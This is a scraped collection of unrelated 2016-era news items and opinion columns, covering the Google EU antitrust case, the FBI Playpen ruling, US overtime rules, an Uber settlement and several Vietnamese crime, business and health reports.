The promotion does send a bit of a wrong message, despite its good intentions. The stereotype of the lonely, greasy gamer who knows little of personal hygiene, is, unfortunately, one that still rears its ugly head now and again. That a video game-oriented company like Twitch would bring free deodorant to a gaming convention and not think about the kind of message it sends is a bit of a bummer. Gamers (for the most part) are just as clean as everybody else!

It's simply a matter of fact that all conventions end up being smelly, as anybody who has ever attended a major one can attest to. It has nothing to do with the sweaty gamers or comic book fans in attendance and more with the fact that any building that is jam-packed with thousands of people running back and forth for four days straight is going to produce some less-than-great odors. With that in mind, we salute Twitch for fighting the good fight. Hopefully, its efforts are making the convention a little less smelly, one free deodorant at a time.

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A couple of days ago, the European Commission (EC) said Google is in breach of European Union antitrust rules with its restrictions on Android device manufacturers and network operators.

Beyond devices and networks, the EC is more importantly saying that Google has implemented a strategy on mobile devices to preserve and strengthen its dominance in... search. ...Google Search is pre-installed and set as the (default search service) on most Android devices sold in Europe.

This is paranoia. It just shows that Google is the most powerful corporation on Earth. (OK, maybe its McDonalds or Intel or Wal-Mart, I dont know. Just google it. But you get the idea.)

This case seems to be about mobiles, but it sounds exactly like the Microsoft case of many years ago: US vs Microsoft, 2001, was about whether MS had abused its monopoly on PCs in its handling of operating system and web browser sales. The main point back then was whether MS could bundle Internet Explorer with Windows.

We hated IE back then, we hate IE now. Things settled down, and we could uninstall IE if we wanted.

These cases sound so similar, but there's a huge difference: There might be a better operating system than Windows. (Perhaps one with a name that starts with the letter M.) There are definitely better browsers than IE. But search?

Can you think of anything better than Google?

Even when Google had just begun, people were crazy about it. It's now the norm, and with fantastic reason. Sure, it tracks you and all that, but can you imagine a startup building a monolith like this? We say startup because you'll need to start up to even give a hint of competition to Google. The sheer accuracy is such that in 2016, we just type in a question or phrase and we (most often) get what we want.

In case youre saying Google alternatives, heres a recent piece from searchenginewatch that lists 14. Most seem whimsical as alternatives, but the article says about Bing: Bing often gives twice as many autocomplete suggestions than Google does. But, but, when Googles autocomplete is perfect, why do we need more suggestions?

That's why we're saying the EC is being paranoid. People just want Google, dammit!

Image source:projectcounsel.com

Google, European Union
Cities have a history of working willingly, often eagerly, with Silicon Valleys biggest companies to test cutting-edge tech  just look at Google Fibers launch in Kansas City, Mo. , or Nevadas tax break gift to Tesla to build a battery plant.Now, one of the biggest might be going in another direction: Building its own city to test tech.Its all rumor right now, but tech news servicehas reported that Dan Doctoroff, the head of Alphabets portfolio company Sidewalk Labs, will meet with Google co-founder Larry Page in coming weeks to discuss the possibility. In the meantime,reported, the company has hired about 100 experts in city planning, technology and other fields to develop the concept.Sidewalk Labs is the company behind the Wi-Fi-spreading LinkNYC kiosks in New York, along with the development of an Internet of Things analytics platform called Flow that will be deployed to the winner of the U.S. Department of Transportations Smart City Challenge Its not exactly a new idea. Government jurisdictions from Las Vegas to Virginia have been scrambling to make themselves into attractive places for companies like Sidewalk Labs to test out that kind of technology, and at times, that has involved testbeds like the fake MCity for testing self-driving cars in Ann Arbor, Mich.Another project, called the Center for Innovation, Testing and Evaluation that has long been planned in the New Mexico desert, remains nascent after years of hype. The plan was to build a place where researchers could test their ideas in a setting similar to the real world without actually exposing those ideasthe real world. In the case of self-driving cars, that could be important because it means that researchers could test potentially unsafe ideas without putting people in harms way.Alternatively, Alphabet might simply be looking to find a part of a city it can turn into a digital district. That might involve a bid process with cities and counties. According to, Denver and Detroit are early prospects in the companys eyes.
FBI Mass Child-Porn Playpen Hack Operation Ruled Illegal on a Technicality

In a major blow to the United States premier investigating agency, a federal judge ruled that the warrants issued by Federal Bureau of Investigations (FBI) during its honey pot Playpen operation as illegal.

Readers may remember that we had reported back in February, 2016, that the FBI ran a massive child porn site in a bid to lure and catch thousands of pedophiles. The dark web website called Playpen which was accessible only through Tor anonymous browser was confiscated by FBI during an anti-child porn operation. The FBI, in all its wisdom, chose to continue to run the massive child porn website as a honeypot operation in order to trap pedophiles registering on it.

Playpen had massive 215,000 registered members so much so that FBI complaint described the site as the largest remaining known child pornography hidden service in the world.

After starting to run a honeypot operation, FBI hosted pedophile content in 9,000 files that could be downloaded directly from the FBIs servers in suburban Washington.

At the end of it, FBI was able to trap only 137 alleged pedophiles from 215,000 registered members on Playpen.

Now a federal judge has ruled that this entire FBI operation was illegal. The only succour for FBI is that the judgement was given based on technicality rather lack of evidence. The decision was based on a violation of jurisdictional rules, not constitutional ones.

Alex Levin, a Massachusetts man and one of the defendants charged with accessing child porn through Playpen, challenged the warrant on these grounds.

The warrant allowed government agents to conduct a borderless dragnet search with no geographic limitation, wrote Levins lawyer, J.W. Carney, in a court filing.

Current law, Carney added, simply does not permit a magistrate judge in Virginia to authorize the search of the defendants computer located in Massachusetts.

U.S. District Judge William Young agreed on Wednesday, writing that the warrant was issued without jurisdiction and thus was void.

It follows that the resulting search was conducted as though there were no warrant at all, he added. Since warrantless searches are presumptively unreasonable, and the good-faith exception is inapplicable, the evidence must be excluded.

The judgement now makes it difficult for FBI to prosecute Levin and 136 others charged with pedophile crimes.

FBI has been a strong votary of need to change the rules so that judges could authorize warrants for electronic searches in multiple locations or even when investigators dont know the physical location of a device.

But tech companies such as Google, computer scientists and privacy advocates have decried the potential change, which they believe would give the FBI the authority to hack computers with little oversight.

A national court policymaking group already approved the governments request to change the rules. But both the Supreme Court and Congress must eventually sign off on the change, which would go into effect on Dec. 1 if approved.
Two Chinese use fake guns to rob car in HCM city

Two Chinese nationals, Guo Chang Ming, 33 and Chen Zhi Hua, 23 were arrested yesterday for robbing a car in District 7, Ho Chi Minh City.

Two days ago, the two men on a motorbike stopped a car and one of them used a fake gun to threaten the driver.

The driver suspected the gun might be fake, so he suddenly seized it and shouted out for help when he stepped out of the car.

The two Chinese were arrested yesterday. Photo by X.D

The two men beat the driver, trying to take back the fake gun. As the driver shouted out for help, people and security guards came to his help, overwhelming the robbers.

According to the police, the two men entered Vietnam illegally. They planned to rob car to live in it, instead of renting accommodation.

The case is pending for further investigation.
A 40 anos de Malvinas

"Revisar el pasado es pensar el futuro". La frase de la presidenta de Telam, Bernarda Llorente, resume el espiritu del documental coproducido entre la agencia de noticias y el canal publico de TV sobre la cobertura que los medios de comunicacion hicieron del conflicto, plagada de censura y mentiras. Una autocritica necesaria para mirar hacia adelante en un (ya viejo) contexto de fake news y negocio informativo.
U.S. Customs and Border Protection (CBP) recorded an unprecedented number of apprehensions at the U.S.-Mexico border in a fiscal year. | Read More
This column originally appeared at MarketWatch.

Young people are finally returning to the workplace, the March employment report showed. That means companies will have to make a bigger effort in recruiting. As the job market tightens, how are firms going to get the best recruits?

The surge of young people into the labor market is a welcome change. In March, those between 20 and 34 years old represented three-quarters of the total growth in employment. For the first three months of 2016, they represented half of the growth in the household survey.

Competition for their services creates opportunities. Millennials will increasingly have the choice of positions and greater opportunities to get the jobs they want.

The Labor Departments data on job openings and labor turnover for February, released on April 5, shows that the number of hires rose to 5.4 million from 5.1 million, the highest since November 2006. In addition, the number of job openings declined to 5.4 million from 5.6 million. Thus, job seekers will have more opportunities.

Companies will have to compensate or make concessions. J.P. Morgan Chase is encouraging its investment bankers to take weekends off when they dont have deals.

Greg Karr, executive vice president for Seven Step RPO, an executive-search firm, told me that young people see the tech sector as the future of work. It has more risk than in other fields, but millennials like what they see as the unlimited opportunities and the flexibility. Its the latest gold rush.

Other sectors, such as finance, are having a harder time. For those who want a balanced lifestyle, the thought of 60-hour weeks at a computer in New York City is not as attractive as 60 hours wandering around the Google or Facebook campus near San Francisco.

Imitation is the sincerest form of flattery, and some companies are setting up bases in the Bay Area to attract young recruits and to get the synergy of the high-tech centers. General Motors and Ford have offices in San Francisco, where staff can rub shoulders in the bars with scientists from the Bosch Research and Technology Center and other similar companies.

Its about time for other sectors such as banking to take a page out of tech firms copybooks, Karr told me. The Dodd-Frank Act and its associated regulations have raised the demand for people in banking. One small example: Banks have a requirement to provide a point of contact for borrowers. That means banks need to expand their mortgage departments to hire the necessary personnel.

Companies will have to compensate or make concessions. For example, J.P. Morgan Chase is encouraging its investment bankers to take weekends off when they dont have deals. Westport, Conn.-based Bridgewater Associates, the worlds largest hedge fund, provides a bus from New York City to headquarters, just as Google does from San Francisco to Mountain View.

Some financial firms, such as Bloomberg, are trying to copy the open plan look of high-tech companies. Walk into the reception area at Bloomberg in New York City and youre greeted by an array of food stations with fruit, energy bars, bagels and drinks, all at no charge. Its part of the compensation package. Offices have disappeared; instead, people are seated in large open spaces.

Some millennials have complained to me that they cant get any work done in these large open spaces, and that the noise-canceling headphones they bring to work give them headaches. They would like to go back to the quiet of an individual office. But the point is that companies are searching for ways to compete. If open plans wont work, companies will be forced to add quieter environments.

The job market is looking up, and millennials are regaining the advantage.





Diana Furchtgott-Roth is a senior fellow and director of Economics21 at the Manhattan Institute. Follow her on Twitter here.

Original Source

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The Department of Labor will soon announce new, complex rules on overtime pay, fulfilling President Obamas 2014 promise to raise the salary level at which employers are required to pay overtime. The rules, which will limit flexibility in the workplace, will likely double the existing $23,660 salary level at which employers have to pay overtime to $50,440, unless the employee is in a managerial or supervisory role.

Proposed rules were published last summer, and the final rule is now being reviewed at the Office of Management and Budget prior to final release. Since rules issued after May 16 can under some circumstances be reviewed and repealed by the next administration through the Congressional Review Act, the Labor Department will try to release the final rule before mid-May.

The rationale for the new rule, which is derived from provisions in the Fair Labor Standards Act of 1938, was set out by the president in an interview with the Huffington Post in 2015. He said , What weve seen is, increasingly, companies skirting basic overtime laws, calling somebody a manager when theyre stocking groceries and getting paid $30,000 a year. Those folks are being cheated.

But studies have shown that raising the overtime pay ceiling will generally not raise workers overall compensation. Instead, employers will pay a lower base salary, so that with overtime, the pay packet is about the same. The affected workers, who earn between $24,000 and $50,000, are generally not getting minimum wage, so employers would be free to hire them at a lower initial rate of pay.

Bureau of Labor Statistics economist Anthony Barkume showed that employers lower base pay if they have to pay overtime. Jared Bernstein, former chief economist to Vice President Joe Biden, concluded that there would be no job losses because employers would just reduce wages in reaction to the rule. He writes, So, an employer who views a new worker as worth $10/hr  and expects her to work 10 hours of [overtime] per week, would offer her a base wage  of $9.09. Employees have to work overtime to stay even with their previous earnings, because their base pay is lower.

Another factor that holds down pay is technology, which can increasingly substitute for workers. Robots dont have to be paid overtime. Some jobs can be outsourced to other countries with less onerous rules. Some businesses may find it is not worth providing services at times that would trigger the new rules. Customers will not receive the benefit of services, and workers will not receive the benefit of employment.

It will be difficult for employers to comply with these complex regulations, potentially leading to inadvertent mistakes and lawsuits. Many non-hourly workers who earn more than $50,000 per year will be eligible for overtime, as salary level is only one requirement for exemption. To be exempt from the overtime regulations, an employee must also meet a set of duties tests for each exemption. Some examples of salaried employees who routinely make over $50,000 and are not exempt include: inside sales, financial service, engineering technicians, and secretaries in cities such as New York and San Francisco.

Employees who must be paid overtime if they work more than 40 hours per week may be paid by the hour, on a salary, on 100% commissions, or by the piece (such as exercise instructors paid per class). Although most employees who need not be paid overtime must be paid a salary at the set minimum salary level, others, such as lawyers, doctors, some teachers, or outside sales employees, need not be. Certain computer employees who are not covered by the overtime rule can be paid a salary or by the hour.

As well as increasing the complexity of hiring for employers, the new rules will hurt workers who value job flexibility. Some parents value flexible jobs so that they have time for their families. If they are required to be paid overtime, they lose this advantage.

This is because workers who must be paid overtime cannot receive comp time  time off in exchange for extra hours worked. If they work Saturdays and Sundays, they have to be paid overtime  they cannot take Monday and Tuesday off in exchange. If they are paid only for the hours they actually work, they lose money every time they need to leave work early to care for a sick child or attend a school sporting event.

Since employers will be required to keep careful track of workers hours to avoid being sued for overtime violations, they might be unwilling to allow them to telecommute, a valued option for many workers.

Another group that values flexibility is millennials, those born between 1980 and 2000. Many prefer not to clock in and out of the workplaces, and like to work more hours on busy days and fewer when work is slow. Some do not even want to be tied to their offices. With the new rules, if I, as director of an economics research group, give my staff time off to travel to their families in exchange for longer hours, I would be breaking the law.

The choice of comp time instead of overtime pay is a valued perk that is available to upper-income earners, making their lives easier. It should also be available to lower-paid employees.

Those who designed the Fair Labor Standards Act in 1938 could not foresee the Internet, with its possibilities of telecommuting, the movement of women into the workforce, and flexible work schedules. The Labor Department should be embracing the 21st century, not returning to the 20th.

Diana Furchtgott-Roth is a senior fellow and director of Economics21 at the Manhattan Institute. Follow her on Twitter here.
Vietnam's tax authority has announced plans to inspect a range of companies this year including Big C, a supermarket chain run by France's Casino Group which is currently sought after by major retailers, local media reported.

The General Department of Taxation under the finance ministry will look into 45 companies that operate Big C's stores around the country, according to the ministry's news website Thoi Bao Tai Chinh. These companies are joint-ventures between Casino and local partners.

Local and foreign retail giants have been racing to acquire the second biggest supermarket chain in Vietnam, since Casino announced its plan to sell it along with other assets in Asia and Latin America to cut debt last year.

Vietnam's largest retailer Co.op Mart, Japan's Aeon, Thailand's Central Group and TCC, and South Korea's Lotte were reportedly among the suitors. Some of the first-round bids were said to have exceeded $800 million.

Big C's subsidiaries account for more than half of the businesses that will be inspected by the tax department this year, according to the news website.

Others include major electronics retailer Nguyen Kim, and An Phong Investment JSC, which formerly operated Vietnam's oldest supermarket chain Maximark. Maximark was sold to real estate conglomerate Vingroup last October, it said.

Binh Son Refining and Petrochemical Company, a state energy giant PetroVietnam's subsidiary that operates the country's sole oil refinery Dung Quat, will also be inspected.

The businesses were specifically chosen, the website reported, without providing further details.

Local tax offices around the country have inspected 6,510 businesses in the first three months, equivalent to 7.2 percent of the target of around 90,416 firms set for this year, it said, citing figures from the tax department. The inspected businesses were obliged to pay a total of VND1.61 trillion ($71.3 million) in arrears and fines.

Under a plan announced by the tax department last month, tax inspections aim to bring more than VND10 trillion ($442.9 million) the state budget.

Last year the department inspected nearly 79,300 businesses and collected more than VND12.35 trillion ($545 million), according to official figures.
President Barack Obama may have already checked out of the White House, figuratively speaking, but he is still very much engaged when it comes to his legacy. That's why he wants to leave us with an array of growth-sapping rules and regulations before he leaves office.

"Obama Readies Flurry of Regulations" read the April 7 headline in the Wall Street Journal. After lowering the boom on corporate tax inversions and imposing new rules on retirement brokers, the Obama administration is looking to implement regulations that will affect "broad swaths of the economy," including labor, health, finance and the environment, the Journal reported.

For example, Obama has proposed doubling the salary threshold - from $24,000 to $50,000 - that determines eligibility for overtime pay. A good deal for workers, right? Only for those who aren't downgraded from salaried to hourly workers.

Obama and his minions fail to grasp the depressing effect such rules will have on employers and on business activity in general. Those who provide goods and services to consumers are not passive participants in the government's regulatory schemes. They are active, profit-maximizing agents.

As a general rule, liberals tend to ignore the economy's supply side. They seem to think constraints placed on business will have no effect on decisions about investment, hiring and compensation. They never consider the unintended consequences of government-imposed rules. Good intentions - higher pay, expanded job opportunities - are no guarantee of good results.

The New York Times editorial board was positively gleeful over the Labor Department's proposed new rule for retirement brokers. In an attempt to encourage the industry to adopt the practice of charging up-front fees instead of commissions, the rule would impose a "fiduciary standard" on commissioned brokers. That means signing a contract stating that they are acting in the best interest of their client, along with other disclosures (think lawsuits). A good deal for small savers? Only if you consider reduced access to affordable investment advice, services and products, along with potential higher costs and lower returns, to be a plus.

Perhaps you have heard of the "Paycheck Fairness Act," a feminist preoccupation that has languished in Congress for two decades. Obama has decided to apply his governing credo - "If Congress won't act, I will" - to achieve a back-door solution by "manipulating the obscure Paperwork Reduction Act for its exact opposite purpose," said Diana Furchtgott-Roth, director of Economics21 at the Manhattan Institute, in a Wall Street Journal op-ed last week.

The Equal Employment Opportunity Commission is planning to expand the number of data points from 140 to 3,360 on an employer form required of companies with more than 100 workers, according to Furchtgott-Roth. The annual cost of complying with these and additional burdens is $10 million (EEOC estimate) or $693 million (Chamber of Commerce estimate), which businesses will pass along to consumers in the form of higher prices. Don't forget the "avalanche of lawsuits and investigations" for presumed discrimination, Furchtgott-Roth said. A good deal for women? Only if companies aren't deterred from hiring in general and hiring women in particular.

The supply side of the economy is a big mystery to Obama, who managed to spend 12 years as a lecturer at the University of Chicago Law School without absorbing any of the "Chicago School" ethos. And he fails to understand why a carrot is often more effective than a stick when it comes to achieving desired results.

Take the Treasury's new, expanded rules to prevent U.S. companies from incorporating overseas, a process known as inversion. U.S. companies aren't clamoring to leave the U.S. for business-conduct purposes. The cost of staying in the U.S. puts them at a competitive disadvantage because the U.S.corporate tax rate, at 35 percent, is the highest among developed nations. Its worldwide tax system, abandoned by most developed nations in favor of a territorial system, is another disincentive to remaining in the U.S.

Think how much simpler, and efficient, it would be to dangle a carrot in front of business instead. Reduce the corporate tax rate to 25%, in line with the developed-world average. U.S. companies would choose to remain in the United States, invest and create jobs at home, and pay taxes in the United States. Instead, the Treasury is determined to punish companies seeking to increase profitability for shareholders.

Liberals may harbor an instinctive aversion to any phrase that contains the words "supply side." After all, supply-side economics - better known as trickle-down economics or tax cuts for the rich - has become a pejorative.

It just so happens that the nation's future depends on supply-side initiatives. "Secular stagnation," a concept revived by Harvard's Larry Summers in 2013 to explain today's slow-growth economy, is a supply-side phenomenon coined by another Harvard economist, Alvin Hansen, in the 1930s. Seeking to explain why the Great Depression lasted so long, Hansen adopted the phrase secular stagnation. He said that all the ingredients for economic growth - technological innovation, population growth and territorial expansion - had been exhausted.

All three are supply-side phenomenon. Yet Hansen's proposed solution was cyclical: constant deficit spending by the government.

Hansen was wrong in his determination that everything that could be invented had been invented by the 1930s. The post-war baby boom, and mass influx of women into labor force starting in the late 1960s, provided the other catalyst for potential growth.

Like Hansen, Summers sees government spending, or "infrastructure investment," as the way out of today's slow-growth quagmire. But secular problems need secular solutions. Skills-based immigration reform would augment slow growth in the U.S. labor force. A friendlier corporate tax structure would encourage domestic investment. A reduction in red tape would stimulate entrepreneurship and new business formation, the true engine of job creation.

What about the technological innovation, which holds the key to faster productivity growth? On that score, I'll defer to Melanie Griffith's character in the movie, "Working Girl," who said it best: "You never know where the next big idea might come from."

Caroline Baum is a contributor to e21. You can follow her on Twitter here.
The governments efforts to simplify business registration regulations, allow foreigners to own property and improve infrastructure are attracting both local and foreign investors.

Amendments were made to the Business Law and Investment Law amid an urgent need to improve the investment climate.

The changes have had a positive effect on businesses operations since they took effect in July, Nguyen Huy Hoang of the National Center for Socioeconomic Information and Forecast said.

Thanks to new rules giving businesses more freedom to decide on their own operations, the number of new businesses is rising consistently.

Between July and November more than 40,800 new business were incorporated, up 30 percent year-on-year. Some 94,000 businesses have been set up this year, a record high, compared to 74,800 last year.

The amended laws allow businesses to expand into any legal activity. Earlier they had to specify their activities in license applications.

The list of illegal business activities has also been shortened from 51 to six, including wildlife trading, human trafficking and sexual services.

However, economist Pham Chi Lan said: Many firms said they need more government support amid the international integration.

According to the World Bank's Doing Business report released in October, Vietnam moved up three places to 90th out of 189 economies, with improvements in the areas of business start-up, power access, and bankruptcy resolution.

The country's score on a scale of 100 increased from 60.35 to 62.1, indicating an improved environment for businesses, the report said.

The increase in foreign direct investment has also demonstrated that Vietnams environment has improved.

FDI has risen 12.5 percent to $22.76 billion this year, with strong inflows into manufacturing, a key driver of the country's economic growth, according to the Ministry of Planning and Investment.

The country has implemented such reforms as simplifying customs procedures, reducing the time required to complete social insurance paperwork, and upgrading infrastructure, according to the Central Institute for Economic Management.

Yasuzumi Hirotaka, head of the Japan External Trade Organization (JETRO)'s Ho Chi Minh City office, said cheap labor and upgraded infrastructure have helped Vietnam attract Japanese investors.

A quarter of Japanese firms leaving China have chosen Vietnam as their investment destination, it added.

The recent legislative changes allowing virtually unrestricted foreign ownership of property and eliminating caps on foreign ownership in listed companies have created an image of an opening of the economy to foreign capital.

Under the amendments to the Law on Housing, which took effect July 1, foreigners with valid visas and international organizations operating in Vietnam are allowed to buy up to 30 percent of an apartment building or 250 houses in a ward -- a subdistrict-level administrative area that can contain thousands of properties.

The old law restricted ownership to foreigners married to Vietnamese and those foreigners deemed to have made significant contributions to the nations development. Even then, however, they could only buy apartments, not landed property.

The new rules have encouraged foreign businesses to come to the country.

Investors who have done business in Vietnam for many years like Lotte, the nation's biggest fund manager VinaCapital Group, and Indochina Land, a subsidiary of London-listed fund Indochina Capital, have recently increased their investment in property, while new ones like Creed Group have entered the market.

Property ranked third behind the processing and energy industries in attracting FDI in 2015. It saw inflows of $2.4 billion, or 10.5 percent of total FDI, according to the Foreign Investment Agency.

The country saw economic growth of 6.68 percent in 2015, the fastest pace in five years, helped by an expanding industrial sector and record foreign investment.

Difficulties

Though accelerated, the reforms are not enough. Many companies struggle with high taxes and getting bank credit.

A company could spend 39.4 percent of its profits paying income tax and value added tax.

Thirty percent of small- and medium-sized enterprises (SMEs) are unable to access credit, the Vietnam Chamber of Commerce and Industry said.

Banks are only willing to lend against assets, but SMEs typically do not have much to offer in terms of collateral.

Banks charge 9-11 percent interest for medium- and long-term loans and 7-8 percent for short-term loans, according to the central bank.

VCCI chairman Vu Tien Loc called for rate cuts and hailed the governments plan to provide further tax incentives to businesses, like scrapping penalties for late tax payment. Corporate tax is at 22 percent.

Many companies are in a difficult situation and cannot afford to pay taxes. So all measures to delay, reduce or waive taxes are necessary.

He said tax authorities should also simplify procedures and create a transparent environment to save businesses both time and money.

Corruption should also be tackled, economists said.

In terms of paying taxes, Vietnam has not made it very easy for business, ranking 168th out of 189 economies, according to the World Bank's Doing Business report.

Companies made 30 tax payments on average a year and it took them 770 hours to file, prepare and pay taxes, the report said.

The chairman of the Association of Foreign Invested Enterprises, Nguyen Mai, said the government should foster a more competitive environment where administrative procedures are simplified, rules are fairly enforced and companies compete on merit, including for access to capital, land and opportunities.

"If these issues are not resolved, Vietnam will become less attractive to investors.
South Korean hypermarket chain Lotte Mart, which currently has 11 stores in Vietnam, reported sales of VND5 trillion (US$221.58 million) last year, up 30 percent year-on-year.

There was also an increase of 20 percent in footfall, Hong Won Sik, CEO of Lotte Mart Vietnam, said at a press conference.

The company, which will open its 12th outlet next week, is looking at more mergers and acquisitions so that it can achieve its target of 60 stores by 2020, he said.

Conglomerate Lotte, which owns Lotte Mart, is reportedly among foreign retail giants seeking to acquire Big C, a supermarket chain run by France's Casino Group in Vietnam.

Lotte Mart Vietnam also plans to expand to convenience stores and e-commerce, Hong said.

With more than 20 subsidiaries in Vietnam, Lotte has invested more than $2 billion, and is set to double the total investment with plans to build a new urban area in the east of Ho Chi Minh City.
Vietnams national vaccine institute has successfully tested a low-cost bird flu vaccine on humans, saying it will be valuable in case of a global pandemic, should it come.

The Institute of Vaccines and Medical Biologicals (IVAC) in Nha Trang announced the test results on Wednesday, naming the vaccine IVACFLU-H5N1.

It conducted tests with the Pasteur Institute in Ho Chi Minh City, with funding from the World Health Organization.

Different doses of the vaccine were given to 75 adults, both male and female, and none of them developed any serious negative reactions, the institute said.

The high dose has proved to be able to protect the body against the bird flu virus strain H5N1, which has killed 65 people in Vietnam, one of the highest fatality rates in the world, since it recurred in 2003.

Le Van Be, director of the institute, said it is conducting further tests so that the vaccine can receive license for industrial production to provide for domestic and global demands.

Be said only a small number of producers are providing bird flu vaccines and at the price unaffordable to countries with low or middle income.

IVACs product will be a vital solution to that problem, he said.
Bird flu vaccine is produced at the Institute of Vaccine and Medical Biologicals in Nha Trang, Khanh Hoa Province. Photo: Cong Thi

Vietnam has started the second stage of human trials of an indigenous bird-flu vaccine, testing its immunization effect.

A statement from the Khanh Hoa Province health department said it is cooperating with the Central Institute of Hygiene and Epidemiology to test the vaccine against the H5N1 virus strain of influenza A on 300 locals aged between 18 and 60.

Each will get two shot 21 days apart before undergoing six blood tests to check how they are protected and decide the optimal dose. The virus has an incubation period of 21 days.

The IVACFLU-H5N1 vaccine was created by the Institute of Vaccine and Medical Biologicals (IVAC) based in the central province's capital town of Nha Trang with support from the World Health Organization.

The first stage of human trials was done successfully on 75 people in April 2015.

There will be further tests before the vaccine is licensed for commercial production.

WHO reported 650 human infections of the highly pathogenic H5N1 virus in 15 countries since it recurred in 2003. Around 60 percent died, including at least 65 in Vietnam, which has had one of the highest fatality rates in the world.

Experts from the vaccine institute said only a small number of producers are making bird flu vaccines and at a price not affordable to low- and middle-income countries.

So the low-cost Vietnamese product would be of vital importance, they added.
Two Chinese arrested for trying to rob a car in Ho Chi Minh City. Photo: Nguyen Bao/Thanh Nien

The Ho Chi Minh City police have arrested two Chinese nationals for an alleged carjacking attempt using knives and fake guns.

Guo Chang Ming, 33, and Chen Zhi Hua, 23, drove a motorbike up to a parked car in District 7 Wednesday afternoon, and one of them opened the car door and put a toy gun to the drivers head.

The driver, a 48-year-old man, realized it was a fake gun and fought back.

The other Chinese then drew a knife, but security guards from a nearby apartment building overpowered them and handed them over to the police.

VnExpress reported that the duo had entered Vietnam illegally.
Li Neo You (C) was arrested over allegations of attacking his boss on April 12, 2016. Photo credit: VnExpress

The Binh Duong police Tuesday arrested a Chinese storekeeper for allegedly attacking the chairman of his company over a dispute at work.

They identified him as Li Me You of Kingmaker Company, a Taiwanese shoe manufacturer based in the Vietnam-Singapore Industrial Park in Binh Duong Province near Ho Chi Minh City.

The incident happened at around 9 a.m. when the companys Taiwanese chairman, Chen Ming Hsiung, accused You of stealing stuff. He whipped out a knife and attacked the 63-year-old Taiwanese boss and two others - chief accountant Liu Su Ching, 63 and 58-year-old Chang Tao Chen, a senior mechanical maintenance technician.

You was overpowered by the companys security guards before being handed over to the local police.

But the three were injured and taken to the hospital, including the chairman with a serious injury in her head.
Local authorities gather samples of dead fish at a beach in Quang Tri Province. Photo: Nguyen Phuc/Thanh Nien

A fisherman in the central province of Ha Tinh has reported to local authorities that he saw a sewage pipe a Taiwanese steel manufacturer may have installed to discharge wastewater directly into the sea in an area where a huge number of fish have died recently.

Nguyen Xuan Thanh, 36, of Ky Anh town told officers at a border guard station that he found the pipe by chance while diving to catch fish on April 4.

He said the 1.5-km-long pipe was buried under the seabed and covered by rocks and sand bags. It originated at the Formosa Steel Corporations plant in the Vung Ang Economic Zone, he said.

When I saw it, the 1.1-m pipe was discharging a lot of wastewater. The wastewater looked muddy yellow and smelled so bad that I felt suffocated.

Thanh drew a map to show the location of the pipe to the Deo Ngang Border Guard Station. The station has reported the case to the provincial Border Guard.

Some fishermen in Ky Anh town also told a visiting agriculture ministry team Thursday that they saw a sewage pipe from the Formosa plant going into the sea, and it lies around 13 m under the surface.

Direct discharge or not?

But Formosa representatives have repeatedly denied the accusations that the plant discharged wastewater directly into the sea.

On Thursday Khau Nhan Kiet, director in charge of environmental safety and hygiene of Formosa, told Tien Phong newspaper that all wastewater is treated until it meets safety standards before being discharged into the sea.

He admitted that the 1.5 km pipe the fishermen saw under the sea belonged to the company.

The pipe was licensed by the agriculture ministry.

He said the company releases around 12,000 cubic meters of treated wastewater through the pipe every day.

He hoped authorities would quickly find out the reason for the mass fish deaths along the central coast to clear the companys name.

Since Formosa is a foreign company, it can only be inspected on orders from the prime minister.

Massive fish deaths were first reported around five kilometers from Son Duong Port in the Vung Ang Economic Zone on April 6.

Both wild and farmed fishes have been found dead in some coastal communes in Ky Anh town, causing losses worth billions of dong.

The Northern Environmental Monitoring and Aquatic Diseases Center took samples of water and dead fish for testing and concluded they died because of toxic agents in the water, without specifying what agents.

It said untreated waste water discharged directly into the sea had polluted it, causing the deaths, and called on local authorities to inspect wastewater treatment at all companies and industrial parks in Vung Ang.

Mass fish deaths have since been reported in Quang Binh, Thua Thien-Hue and Quang Tri provinces, all on Vietnam's central coast.

According to Quang Tri authorities, local fishermen have collected around 30 tons of fish that washed ashore as of Thursday.

Agriculture ministry teams have visited various locations in the provinces to collect samples of water and dead fish for testing.

The ministry has told authorities in affected provinces to warn people not to eat or sell the dead fish and quickly collect rotten fish to avoid environmental pollution.
Police in Da Nang have arrested two Chinese men for using fraudulent cards linked to stolen bank accounts to pay for services and withdraw a cash amount worth US$18,000 in Vietnam.

Hao Yan Jun, 27, and Ping San Shi, 40, were caught after a local bank detected an "unusual transaction" at a travel company on Monday.

The bank later found the transaction was made with a fraudulent card and seized a number of cards from the duo.

They reportedly confessed that they had made the cards using accounts stolen from many foreigners. They allegedly used the cards to withdraw a total of VND400 million (US$18,000).

There have been many reported instances of criminals stealing money using fake bank cards in Vietnam. Experts warn this will continue without measures to improve banking security.

Only around 4 percent of 84 million credit cards issued in Vietnam use the global standard EMV chip technology, which ensures higher security and lower risk of data breaches.

The rest still use magnetic strips, which cost only a third of the new and safer technology. Vietnamese banks plan to switch completely to EMV by 2020.
An Uber car is seen parked with the driver's lunch left on the dashboard in Venice, Los Angeles, California, United States July 15, 2015. Photo: Reuters/Lucy Nicholson

Ride-hailing service Uber has agreed to pay up to $100 million to settle a class-action lawsuit which resolves a major challenge to its business model by allowing it to keep its California and Massachusetts drivers as independent contractors.

The lawsuit, over whether its drivers are employees or independent contractors, had claimed that Uber drivers are employees and are thus entitled to reimbursement of expenses.

The case against Uber had been closely watched in Silicon Valley, as other companies in the on-demand tech economy share Uber's reliance on independent contractors. The case had been scheduled for a trial in San Francisco federal court in June.

"We realize that some will be disappointed not to see this case go to trial," said Shannon Liss-Riordan, an attorney for drivers.

However, Liss-Riordan said the plaintiff drivers faced significant risks of losing if the case moved forward. Nothing about the settlement prevents a future court, or U.S. labor authorities, from deeming Uber drivers as employees, she said in a statement.

Out of the $100 million proposed payment, $84 million is guaranteed to drivers and $16 million is contingent on an increase in Uber's value.

Taxi drivers protest against Uber Technologies Inc. in Buenos Aires, Argentina, April 20, 2016. Photo: Reuters/Enrique Marcarian Uber agreed to some changes in its business practices, including the institution of a policy for deactivation of drivers, chief executive Travis Kalanick said in a blog post about the settlement.

Uber is "pleased" that the deal "recognizes that drivers should remain as independent contractors, not employees," Kalanick said in the post.

The settlement is similar to a separate agreement announced with Lyft drivers earlier this year, though the Uber agreement is much larger given that Uber has many more drivers.

The Uber deal must be approved by U.S. District Judge Edward Chen in San Francisco.
Flags of China and North Korea are seen in Ningbo, Zhejiang province, China, in this April 12, 2016 file photo. Photo: Reuters/Joseph Campbell/Files

China's Defense Ministry on Friday denied reports that Chinese troops were massing on the North Korean border, ahead of a possible fifth North Korean nuclear test, saying its deployments there were normal.

